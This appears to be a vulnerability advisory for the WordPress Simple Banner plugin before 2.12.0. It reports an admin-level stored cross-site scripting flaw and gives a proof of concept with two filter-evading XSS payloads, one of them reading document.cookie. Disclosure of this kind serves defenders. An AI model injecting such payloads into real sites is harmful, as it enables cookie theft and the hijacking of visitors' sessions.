WordPress Plugin Vulnerabilities

Simple Banner < 2.12.0 - Admin+ Stored Cross Site Scripting

Description

The plugin does not properly sanitize its "Simple Banner Text" Settings allowing high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.

Proof of Concept

Put the following payloads in the "Simple Banner Text" settings of the plugin:
 <a href="jav	ascript&colon;alert(document.cookie)">Firefox</a>
 <sc<script>ript>alert(/XSS/)</scr</script>ipt>

Then access the frontend to trigger the XSS
